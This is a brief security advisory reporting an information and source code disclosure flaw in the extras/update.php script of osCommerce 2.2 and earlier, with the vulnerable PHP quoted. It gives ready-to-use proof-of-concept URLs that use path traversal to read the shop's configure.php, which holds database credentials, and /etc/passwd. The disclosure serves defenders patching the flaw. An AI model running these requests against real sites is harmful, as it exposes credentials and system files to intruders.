---- osCommerce <= 2.2 "extras/" information/source code disclosure ------------

software site: http://www.oscommerce.com/


if extras/ folder is placed inside the www path, you can see all files on target
system, including php source code with database details, poc:

http://[target]/[path]/extras/update.php?read_me=0&readme_file=../catalog/includes/configure.php
http://[target]/[path]/extras/update.php?read_me=0&readme_file=/etc/passwd

this is the vulnerable code in update.php:

...
  include '../mysql.php';
  // if a readme.txt file exists, display it to the user
  if(!$read_me) {
    if(file_exists('readme.txt')) {
      $readme_file = 'readme.txt';
    }
    elseif(file_exists('README')) {
      $readme_file = 'README';
    }
    elseif(file_exists('readme')) {
      $readme_file = 'readme';
    }
    if($readme_file) {
      $readme = file($readme_file);
      print "<CENTER><TABLE BORDER=\"1\" WIDTH=\"75%\" CELLPADDING=\"2\" CELLSPACING=\"0\"><TR BGCOLOR=\"#e7e7cc\"><TD>\n";
      print nl2br(htmlentities(implode($readme, ' ')));
      print "<HR NOSHADE SIZE=\"1\"><CENTER><A HREF=\"update.php?read_me=1\"><B>Continue</B></A></CENTER>\n";
      print "</TD></TR></TABLE>\n";
      exit;
    }
  }
